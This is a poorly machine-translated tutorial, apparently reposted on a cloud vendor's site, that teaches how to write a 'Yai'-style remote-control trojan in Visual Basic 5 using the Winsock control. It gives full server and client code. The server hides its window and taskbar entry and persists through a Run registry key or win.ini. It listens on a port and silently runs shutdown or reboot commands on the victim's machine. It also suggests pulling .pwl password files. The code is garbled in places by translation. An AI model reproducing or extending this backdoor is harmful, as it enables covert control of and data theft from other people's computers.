You can also use the Winsock control in YAI-VB5

Source: Internet
Author: User
Tags call shell exit goto integer

A while ago, a name called Yai ' virus ' in our country noisy uproar, many unknown truth of the people

Mysterious to him, but the essence is nothing more than a remote control software, but his

The server-side program is very well hidden. In fact, there is a Winsock control based on TCP\IP protocol in VB5

Pieces, using him to change the attributes, write a few pieces of code, we can also come back to Yai.

Due to space limitations, here we will only look at the restart of the remote computer, the closure of the function room how to achieve

Of When you open VB5, the Winsock control is not visible in the toolbox, and the toolbox point is clicked by right mouse button

"Parts", and then the Microsoft Winsock Control 5.0 Check is determined, you can Winsock

Control is added to the toolbox.

The remote control function is based on the client/server model, so the programming of the program should be divided into two

Part: Part of the server side-that is, the control side, the other part is the client-the control side.

The server program waits on a fixed or fixed URL (IP) to wait for the client to request the program;

Request a connection to the Web site where the server program resides, and the connection is successful and the corresponding service is obtained by exchanging information.

Therefore, when setting the Winsock property, the server should set the LocalPort and apply the Listen method to monitor, the guest

The user program is to set RemoteHost and RemotePort and apply the Connect method to request the connection and use the SendData

method to exchange information. The following are the related properties, methods, and events for the Winsock control. (omit some that cannot be take up)

* Properties

-------------------------------------------------------------------------

Localhostname | Local Machine name

Localip | Local Machine IP Address

LocalPort | Port of the Local Machine communication program (0< Port <65536)

RemoteHost | Remote machine Name

RemotePort | Communication program ports for remote machines

State | The current status of the connection (detailed instructions after the article)

protocal | Use TCP or UDP protocol (here we choose ' 0-scktcpprotocal ')

--------------------------------------------------------------------------

* Method

--------------------------------------------------------------------------

Listen

The Listen method is used for server programs, waiting for client access.

Format: Winsock object. Listen

Connect

The Connect method is used to issue a connection request to a remote host

Format: Winsock object. Connect [remote host IP, remote port]

Accept

The Accept method is used to accept a connection request

Format: Winsock object. Accept Request ID

SendData

This method is used to send data

Pane? Winsock object. SendData data

Getdata

Used to get the data received

Format: Winsock object. GetData variable [, data type [, maximum length]]

Close

Close Current Connection

Format: Winsock object. Close

* Events

----------------------------------------------------------------------------

Close | triggered when the remote machine closes the connection

Connect | The connection is established and can be triggered by communication (client)

Connectrequest | Generated when a request connection arrives (server side)

DataArrival | triggered when data arrives

Error | Occurs when an error occurs

sendprogress | Data transfer Progress

-----------------------------------------------------------------------------

The program code is as follows:

--"Server-side Program" (Server.exe)

First place the Winsock control in the form (he is invisible at run time), the property takes the default value, and then sets the Form1

Property ShowInTaskbar is false,visible to False (so that it is hidden). For a program to start from

Manually in the registry "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"

Add the key value "winserver" = "C:\\windows\\server.exe" or the Load,run write of the configuration file Win.ini

"C:\windows\server.exe" to achieve the goal. Of course, you can also implement the registry by invoking the API function in VB5

Writing, which is more convenient, but because the implementation process is more complex, it is not here to say.

Private Sub Form_Load ()

On Error GoTo Skip so the port has a communication program to exit

Winsock1.localport = 1334 port value should be greater than 1024, if there are conflicts can be changed to other values

Winsock1.listen

Exit Sub

Skip

If Err.Number = 10048 Then

MsgBox "Port conflict, Exit!" "vbOKOnly," noted the man. "

End

End If

End Sub

Private Sub Winsock1_close ()

If winsock1.state <> sckclosed Then winsock1.close

Winsock1.listen to continue listening after closing the connection

End Sub

Private Sub winsock1_connectionrequest (ByVal RequestID as Long)

If winsock1.state <> sckclosed Then winsock1.close

Winsock1.accept RequestID When the request arrives, accept the connection

End Sub

Private Sub Winsock1_dataarrival (ByVal bytestotal as Long)

Dim Strget as String

Dim ccom as String

Winsock1.GetData Strget Read the arrival data

Select Case Strget

Case "A" to determine whether the arrival of the data is ' a ', is restarted, you can also define yourself (the agreement is the result of this)

ccom = Curr_win () + "\rundll". EXE user.exe,exitwindowsexec "Different machine settings are not the same

The call Shell (ccom, vbhide) is judged by the function Curr_win ()

Case "B" if "B" to turn off the computer

ccom = Curr_win () + "\rundll". EXE User.exe,exitwindows "

Call Shell (ccom, vbhide) function Shell to execute commands

Case Else can add other commands here

End Select

End Sub

Function Curr_win () as String

Dim I as Integer

Dim Enstr as String

i = 1 This function obtains the Windows directory by reading the environment variable

Enstr = Environ (i)

Do While Enstr <> ""

If Len (ENSTR) > One Then

If left (enstr, one) = "winbootdir=" Then

Curr_win = Right (Enstr, Len (ENSTR)-11)

Exit do

End If

End If

i = i + 1

Enstr = Environ (i)

Loop

End Function

Private Sub Winsock1_error (ByVal number as Integer, Description as String, ByVal

Scode as Long, ByVal Source As String, ByVal HelpFile as String,

ByVal HelpContext as Long, CancelDisplay as Boolean)

MsgBox "Wrong", vbOKOnly, "Note!" "If there is an error in the program, the simple exit

End

End Sub

--"client program (Client.exe)

Program interface as shown [control.jpg]

Anti-entry four command buttons, a title box, a Winsock control, whose properties are set as follows:

------------------------------------------------------------------------- -

Control name | Control class | Properties | Property value

----------------------------------------------------------------------------

Closewin_but | CommandButton | Caption | Remote shutdown

Startwin_but | CommandButton | Caption | Remote reboot

Connect_but | CommandButton | Caption | Connection

Exit_but | CommandButton | Caption | Exit

State_lab | Label | BorderStyle | 1

-----------------------------------------------------------------------------

The code is as follows:

Private Sub Form_Load ()

Winsock1.localport = 22226 Local Port optional, as long as not conflicting and less than 65535, with

Netstat-an command to view the current communication process

Winsock1.RemoteHost = "127.0.0.1" When debugging, this IP will operate on the machine, when it is actually applied, it can be

Put on the accused side IP

Winsock1.RemotePort = 1334 corresponding server-side LocalPort

State_lab = "No connection established."

End Sub

Private Sub Closewin_but_click ()

If winsock1.state <> sckconnected Then

State_lab = "Please establish a connection first"

Else

Winsock1.SendData "B" to issue a shutdown command

End If

End Sub

Private Sub Startwin_but_click ()

If winsock1.state <> sckconnected Then

State_lab = "Please establish a connection first"

Else

Winsock1.SendData "A" to issue a reboot command

End If

End Sub

Private Sub Connect_but_click ()

On Error GoTo Skip

If winsock1.state = sckconnected Then

State_lab = "Connection has been established"

Else

Winsock1.Connect

End If

Exit Sub

Skip: See the status as time_wait with the netstat command

If Err.Number = 10048 Then is required to wait for a period of time to connect, or to change another

Port to speed up connection

MsgBox "Port is in use, please try again later! "vbOKOnly," noted the man. "

End

End If

End Sub

Private Sub Exit_but_click ()

Winsock1.close closes the connection and exits

End

End Sub

Private Sub Winsock1_connect ()

State_lab = "Establish connection success!" can send a command. "

End Sub

Private Sub Winsock1_error (ByVal number as Integer, Description as String,

ByVal Scode as Long, ByVal Source As String, ByVal HelpFile as String,

ByVal HelpContext as Long, CancelDisplay as Boolean)

MsgBox "Wrong", vbOKOnly, "Note!" "

End

End Sub

Through the above example, we probably understand the principle of remote control, the implementation of other functions should not be difficult. Such as

File download, you can first let the client program to send a command string cc:\windows\lzh.pwl, the server received the command word

After the string judge first photocopy letter C is the download command, the specified command file C:\WINDOWS\LZH.PWL is routed to the customer

End, complete the corresponding service. It should be noted that this program can only establish a connection, such as to establish multiple connections through the

Generates multiple Winsock instances on the server side to accept requests.

Test environment:

Window98,microsoft Visual Basic 5.0 Enterprise Edition

Attached: Property state value

Constant Value Describe
Sckclosed 0 Shutdown status
Sckopen 1 Open state
Scklistening 2 Listening status
Sckconnectionpending 3 Connection pending
Sckresolvinghost 4 Resolving domain Names
Sckhostresolved 5 Host identified
Sckconnecting 6 Is connecting
sckconnected 7 is connected
Sckclosing 8 The peer is shutting down the connection
Sckerror 9 Error

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.